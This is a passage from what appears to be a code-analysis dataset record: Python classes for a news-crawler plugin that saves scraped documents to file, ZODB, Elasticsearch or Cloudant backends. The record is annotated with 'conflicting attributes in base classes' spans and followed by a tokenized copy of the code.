{\"wildcard\": {\"url\": \"*{}*\".format(self.plugin_name)}}, \"fields\": \"url\"}\n res = self.es.search(body=query, doc_type='document',\n index=self.project_name + \"-crawler-documents\")\n return set([x['fields']['url'][0] for x in res['hits']['hits']])", "metadata": "root.CrawlElasticSearchPlugin.get_seen_urls", "header": "['class', 'CrawlElasticSearchPlugin', '(', 'CrawlPlugin', ')', ':', '___EOS___']", "index": 217 }, { "content": " def save_config(self, config):\n self.es.index(id=self.plugin_name, body=config, doc_type='plugin',\n index=self.project_name + \"-crawler-plugins\")", "metadata": "root.CrawlElasticSearchPlugin.save_config", "header": "['class', 'CrawlElasticSearchPlugin', '(', 'CrawlPlugin', ')', ':', '___EOS___']", "index": 223 }, { "content": "class CrawlZODBPlugin(CrawlPlugin):\n\n\n\n\n\n\n", "metadata": "root.CrawlZODBPlugin", "header": "['module', '___EOS___']", "index": 228 }, { "content": " def get_default_plugin(self):\n return self.server['plugins']['default']", "metadata": "root.CrawlZODBPlugin.get_default_plugin", "header": "['class', 'CrawlZODBPlugin', '(', 'CrawlPlugin', ')', ':', '___EOS___']", "index": 230 }, { "content": " def get_specific_plugin(self):\n return self.server['plugins'][self.plugin_name]", "metadata": "root.CrawlZODBPlugin.get_specific_plugin", "header": "['class', 'CrawlZODBPlugin', '(', 'CrawlPlugin', ')', ':', '___EOS___']", "index": 233 }, { "content": " def save_bulk_data(self, data):\n for url_id in data:\n self.server['documents'][slugify(url_id)] = data[url_id]\n transaction.commit()", "metadata": "root.CrawlZODBPlugin.save_bulk_data", "header": "['class', 'CrawlZODBPlugin', '(', 'CrawlPlugin', ')', ':', '___EOS___']", "index": 236 }, { "content": " def get_documents(self, maximum_number_of_documents=1000000):\n return self.server['documents']", "metadata": "root.CrawlZODBPlugin.get_documents", "header": "['class', 'CrawlZODBPlugin', '(', 'CrawlPlugin', ')', ':', '___EOS___']", "index": 241 }, { "content": " def delete_existing_documents(self):\n self.server['documents'] = OOBTree()\n transaction.commit()", "metadata": "root.CrawlZODBPlugin.delete_existing_documents", "header": "['class', 'CrawlZODBPlugin', '(', 'CrawlPlugin', ')', ':', '___EOS___']", "index": 244 }, { "content": " def get_seen_urls(self):\n return set([self.server['documents'][s]['url'] for s in self.server['documents']\n if self.plugin_name in self.server['documents'][s]['url']])", "metadata": "root.CrawlZODBPlugin.get_seen_urls", "header": "['class', 'CrawlZODBPlugin', '(', 'CrawlPlugin', ')', ':', '___EOS___']", "index": 248 }, { "content": " def save_config(self, config):\n self.server['plugins'][self.plugin_name] = config\n transaction.commit()", "metadata": "root.CrawlZODBPlugin.save_config", "header": "['class', 'CrawlZODBPlugin', '(', 'CrawlPlugin', ')', ':', '___EOS___']", "index": 252 }, { "content": "class CrawlPluginNews(CrawlPlugin):\n import ast\n\n\n\n\n\n", "metadata": "root.CrawlPluginNews", "header": "['module', '___EOS___']", "index": 257 }, { "content": " def save_data(self, data):\n raise NotImplementedError('save_data required')", "metadata": "root.CrawlPluginNews.save_data", "header": "['class', 'CrawlPluginNews', '(', 'CrawlPlugin', ')', ':', '___EOS___']", "index": 260 }, { "content": " def get_template_dict(self):\n raise NotImplementedError('get_template_dict required')", "metadata": "root.CrawlPluginNews.get_template_dict", "header": "['class', 'CrawlPluginNews', '(', 'CrawlPlugin', ')', ':', '___EOS___']", "index": 263 }, { "content": " def save_template_dict(self, templated_dict):\n raise NotImplementedError('save_template_dict required')", "metadata": "root.CrawlPluginNews.save_template_dict", "header": "['class', 'CrawlPluginNews', '(', 'CrawlPlugin', ')', ':', '___EOS___']", "index": 266 }, { "content": " def get_seen_urls(self):\n raise NotImplementedError('seen_urls required')", "metadata": "root.CrawlPluginNews.get_seen_urls", "header": "['class', 'CrawlPluginNews', '(', 'CrawlPlugin', ')', ':', '___EOS___']", "index": 269 }, { "content": " def delete_existing_documents(self):\n raise NotImplementedError('delete_existing_documents required')", "metadata": "root.CrawlPluginNews.delete_existing_documents", "header": "['class', 'CrawlPluginNews', '(', 'CrawlPlugin', ')', ':', '___EOS___']", "index": 272 }, { "content": " def run(self, delete_existing_documents=False):\n # get default plugin\n print(\"getting crawl plugin info\")\n self.crawl_config = self.get_default_plugin()\n\n # apply this specific plugin\n self.crawl_config.update(self.get_specific_plugin())\n\n # delete existing documents\n if delete_existing_documents:\n print(\"deleting documents before crawling\")\n self.delete_existing_documents()\n seen_urls = []\n # add the already visited urls to the config\n else:\n print(\"getting seen urls\")\n seen_urls = self.get_seen_urls()\n self.crawl_config['seen_urls'] = seen_urls\n\n print(\"getting template dict\")\n # add the template for this crawl_plugin to the scraping config\n self.crawl_config['template_dict'] = self.get_template_dict()\n\n print(\"starting crawl\")\n # separate out the save data while crawling and the newscraler\n if 'logging_level' in self.crawl_config:\n logging_level = int(self.crawl_config['logging_level'])\n else:\n logging_level = 3\n templated_dict = crawl.start(\n self.crawl_config, NewsCrawler, self.save_data, self.save_bulk_data,\n logging_level=logging_level, cache=self.cache)\n\n print('saving template..')\n self.save_template_dict(templated_dict)\n print('crawling/scraping', self.project_name, self.plugin_name, \"DONE\")", "metadata": "root.CrawlPluginNews.run", "header": "['class', 'CrawlPluginNews', '(', 'CrawlPlugin', ')', ':', '___EOS___']", "index": 275 }, { "content": "class CrawlFilePluginNews(CrawlFilePlugin, CrawlPluginNews):\n\n\n", "metadata": "root.CrawlFilePluginNews", "header": "['module', '___EOS___']", "index": 313 }, { "content": "class CrawlZODBPluginNews(CrawlZODBPlugin, CrawlPluginNews):\n\n\n", "metadata": "root.CrawlZODBPluginNews", "header": "['module', '___EOS___']", "index": 337 }, { "content": "class CrawlElasticSearchPluginNews(CrawlElasticSearchPlugin, CrawlPluginNews):\n\n\n", "metadata": "root.CrawlElasticSearchPluginNews", "header": "['module', '___EOS___']", "index": 357 }, { "content": "class CrawlCloudantPluginNews(CrawlCloudantPlugin, CrawlPluginNews):\n\n\n", "metadata": "root.CrawlCloudantPluginNews", "header": "['module', '___EOS___']", "index": 392 } ]
[ { "span": "class CrawlFilePluginNews(CrawlFilePlugin, CrawlPluginNews):", "start_line": 313, "start_column": 0, "end_line": 313, "end_column": 60 }, { "span": "class CrawlZODBPluginNews(CrawlZODBPlugin, CrawlPluginNews):", "start_line": 337, "start_column": 0, "end_line": 337, "end_column": 60 }, { "span": "class CrawlElasticSearchPluginNews(CrawlElasticSearchPlugin, CrawlPluginNews):", "start_line": 357, "start_column": 0, "end_line": 357, "end_column": 78 }, { "span": "class CrawlCloudantPluginNews(CrawlCloudantPlugin, CrawlPluginNews):", "start_line": 392, "start_column": 0, "end_line": 392, "end_column": 68 } ]
[ { "span": "def get_seen_urls(self):", "start_line": 123, "start_column": 4, "end_line": 123, "end_column": 28 }, { "span": "def delete_existing_documents(self):", "start_line": 167, "start_column": 4, "end_line": 167, "end_column": 40 }, { "span": "def get_seen_urls(self):", "start_line": 173, "start_column": 4, "end_line": 173, "end_column": 28 }, { "span": "def get_seen_urls(self):", "start_line": 217, "start_column": 4, "end_line": 217, "end_column": 28 }, { "span": "def delete_existing_documents(self):", "start_line": 244, "start_column": 4, "end_line": 244, "end_column": 40 }, { "span": "def get_seen_urls(self):", "start_line": 248, "start_column": 4, "end_line": 248, "end_column": 28 }, { "span": "def get_seen_urls(self):", "start_line": 269, "start_column": 4, "end_line": 269, "end_column": 28 }, { "span": "def delete_existing_documents(self):", "start_line": 272, "start_column": 4, "end_line": 272, "end_column": 40 } ]
1
false
[ "[CLS]_", "Confl", "ict", "ing_", "attributes_", "in_", "base_", "classes_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Crawl", "Plugin_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "Plugin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "project", "\\u", "name_", ",_", "server_", "=_", "None_", ",_", "plugin", "\\u", "name_", "=_", "None_", ",_", "cache_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "project", "\\u", "name_", "=_", "project", "\\u", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "plugin", "\\u", "name_", "=_", "plugin", "\\u", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "server_", "=_", "server_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "cache_", "=_", "self_", "._", "prepar", "e\\u", "cache_", "(_", "cache_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "crawl", "\\u", "config_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "data_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "documents_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "template", "\\u", "dict_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "Plugin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "prepar", "e\\u", "cache_", "(_", "self_", ",_", "cache_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "cache_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cache_", "._", "plugin", "\\u", "name_", "=_", "self_", "._", "plugin", "\\u", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cache_", "._", "project", "\\u", "name_", "=_", "self_", "._", "project", "\\u", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cache_", "._", "setup_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "cache_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "Plugin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "default", "\\u", "plugin_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "Plugin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "specific", "\\u", "plugin_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "Plugin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "start", "\\u", "crawl", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "crawl", "_", "._", "start_", "(_", "self_", "._", "crawl", "\\u", "config_", ",_", "cache_", "=_", "self_", "._", "cache_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "Plugin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "scrape", "\\u", "data_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Creat", "e", " ", "boiler", "plate", " ", "recognize", "r_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "skin", "dex_", "=_", "Scraper_", "(_", "self_", "._", "crawl", "\\u", "config_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "skin", "dex_", "._", "load", "\\u", "local", "\\u", "pages_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "skin", "dex_", "._", "add", "\\u", "template", "\\u", "elements_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Process", " ", "all", " ", "by", " ", "remo", "ving", " ", "boiler", "plate", " ", "and", " ", "extracti", "ng", " ", "information_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "skin", "dex_", "._", "process", "\\u", "all_", "(_", "exclu", "de", "\\u", "data_", "=_", "[_", "'", "clean", "ed", "'_", ",_", "'", "author", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "Plugin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "documents_", "(_", "self_", ",_", "maxim", "um", "\\u", "number", "\\u", "of", "\\u", "documents_", "=_", "10000_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "Plugin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "save", "\\u", "bul", "k", "\\u", "data_", "(_", "self_", ",_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "Plugin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "run_", "(_", "self_", ",_", "delete", "\\u", "exist", "ing", "\\u", "documents_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "get", " ", "default", " ", "plugin_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "crawl", "\\u", "config_", "=_", "self_", "._", "get", "\\u", "default", "\\u", "plugin_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "start", "\\u", "crawl", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "data_", "=_", "self_", "._", "scrape", "\\u", "data_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "save", "\\u", "bul", "k", "\\u", "data_", "(_", "self_", "._", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "Plugin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "bad", "\\u", "summary_", "(_", "self_", ",_", "force", "\\u", "get", "\\u", "documents_", "=_", "False_", ",_", "n_", "=_", "5_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "self_", "._", "documents_", "or_", "force", "\\u", "get", "\\u", "documents_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "documents_", "=_", "self_", "._", "get", "\\u", "documents_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "title", "\\u", "sort_", "=_", "sorted_", "(_", "self_", "._", "documents_", ",_", "key_", "=_", "lambda_", "doc_", ":_", "len_", "(_", "doc_", "[_", "'", "title", "'_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "body", "\\u", "sort_", "=_", "sorted_", "(_", "self_", "._", "documents_", ",_", "key_", "=_", "lambda_", "doc_", ":_", "len_", "(_", "'", " ", "'_", "._", "join_", "(_", "doc_", "[_", "'", "body", "'_", "]_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "date", "\\u", "sort_", "=_", "sorted_", "(_", "self_", "._", "documents_", ",_", "key_", "=_", "lambda_", "doc_", ":_", "len_", "(_", "doc_", "[_", "'", "publi", "sh", "\\u", "date", "'_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url", "\\u", "sort_", "=_", "sorted_", "(_", "self_", "._", "documents_", ",_", "key_", "=_", "lambda_", "doc_", ":_", "len_", "(_", "doc_", "[_", "'", "url", "'_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "{_", "k_", ":_", "[_", "(_", "d_", "[_", "'", "url", "'_", "]_", ",_", "d_", "[_", "k_", "]_", ")_", "for_", "d_", "in_", "sorte", "d\\u", "type_", "]_", "[_", ":_", "n_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "k_", ",_", "sorte", "d\\u", "type_", "in_", "zip_", "(_", "[_", "'", "title", "'_", ",_", "'", "body", "'_", ",_", "'", "publi", "sh", "\\u", "date", "'_", ",_", "'", "url", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "title", "\\u", "sort_", ",_", "body", "\\u", "sort_", ",_", "date", "\\u", "sort_", ",_", "url", "\\u", "sort_", "]_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Crawl", "File", "Plugin_", "(_", "Crawl", "Plugin_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "File", "Plugin_", "(_", "Crawl", "Plugin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "get", "\\u", "default", "\\u", "plugin_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "server_", "[_", "'", "plugin", "s", "'_", "]_", ",_", "'", "default", "'_", ")_", ")_", "as_", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "json_", "._", "load_", "(_", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "File", "Plugin_", "(_", "Crawl", "Plugin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "specific", "\\u", "plugin_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "server_", "[_", "'", "plugin", "s", "'_", "]_", ",_", "self_", "._", "plugin", "\\u", "name_", ")_", ")_", "as_", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "specific", "\\u", "config_", "=_", "json_", "._", "load_", "(_", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "specific", "\\u", "config_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "File", "Plugin_", "(_", "Crawl", "Plugin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "save", "\\u", "bul", "k", "\\u", "data_", "(_", "self_", ",_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "row_", "in_", "data_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "server_", "[_", "'", "document", "s", "'_", "]_", ",_", "slugify_", "(_", "data_", "[_", "row_", "]_", "[_", "'", "url", "'_", "]_", ")_", ")_", ",_", "'", "w", "'_", ")_", "as_", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "json_", "._", "dump_", "(_", "data_", "[_", "row_", "]_", ",_", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "File", "Plugin_", "(_", "Crawl", "Plugin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "documents_", "(_", "self_", ",_", "maxim", "um", "\\u", "number", "\\u", "of", "\\u", "documents_", "=_", "1000000_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "slug", "ged", "\\u", "url_", "=_", "slugify_", "(_", "self_", "._", "plugin", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "results_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "num_", ",_", "fn_", "in_", "enumerate_", "(_", "os_", "._", "listdir_", "(_", "self_", "._", "server_", "[_", "'", "document", "s", "'_", "]_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "num_", "==_", "maxim", "um", "\\u", "number", "\\u", "of", "\\u", "documents_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "slug", "ged", "\\u", "url_", "in_", "fn_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "server_", "[_", "'", "document", "s", "'_", "]_", ",_", "fn_", ")_", ")_", "as_", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "results_", "[_", "slug", "ged", "\\u", "url_", "]_", "=_", "json_", "._", "load_", "(_", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "results_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "File", "Plugin_", "(_", "Crawl", "Plugin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "see", "n", "\\u", "urls_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "slug", "ged", "\\u", "url_", "=_", "slugify_", "(_", "self_", "._", "plugin", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "see", "n", "\\u", "urls_", "=_", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "fn_", "in_", "os_", "._", "listdir_", "(_", "self_", "._", "server_", "[_", "'", "document", "s", "'_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "slug", "ged", "\\u", "url_", "in_", "fn_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "server_", "[_", "'", "document", "s", "'_", "]_", ",_", "fn_", ")_", ")_", "as_", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "see", "n", "\\u", "urls_", "._", "add_", "(_", "json_", "._", "load_", "(_", "f_", ")_", "[_", "'", "url", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "see", "n", "\\u", "urls_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "File", "Plugin_", "(_", "Crawl", "Plugin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "save", "\\u", "config_", "(_", "self_", ",_", "config_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "server_", "[_", "'", "plugin", "s", "'_", "]_", ",_", "self_", "._", "plugin", "\\u", "name_", ")_", ",_", "'", "w", "'_", ")_", "as_", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "json_", "._", "dump_", "(_", "config_", ",_", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Crawl", "Cloud", "ant", "Plugin_", "(_", "Crawl", "Plugin_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "Cloud", "ant", "Plugin_", "(_", "Crawl", "Plugin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", 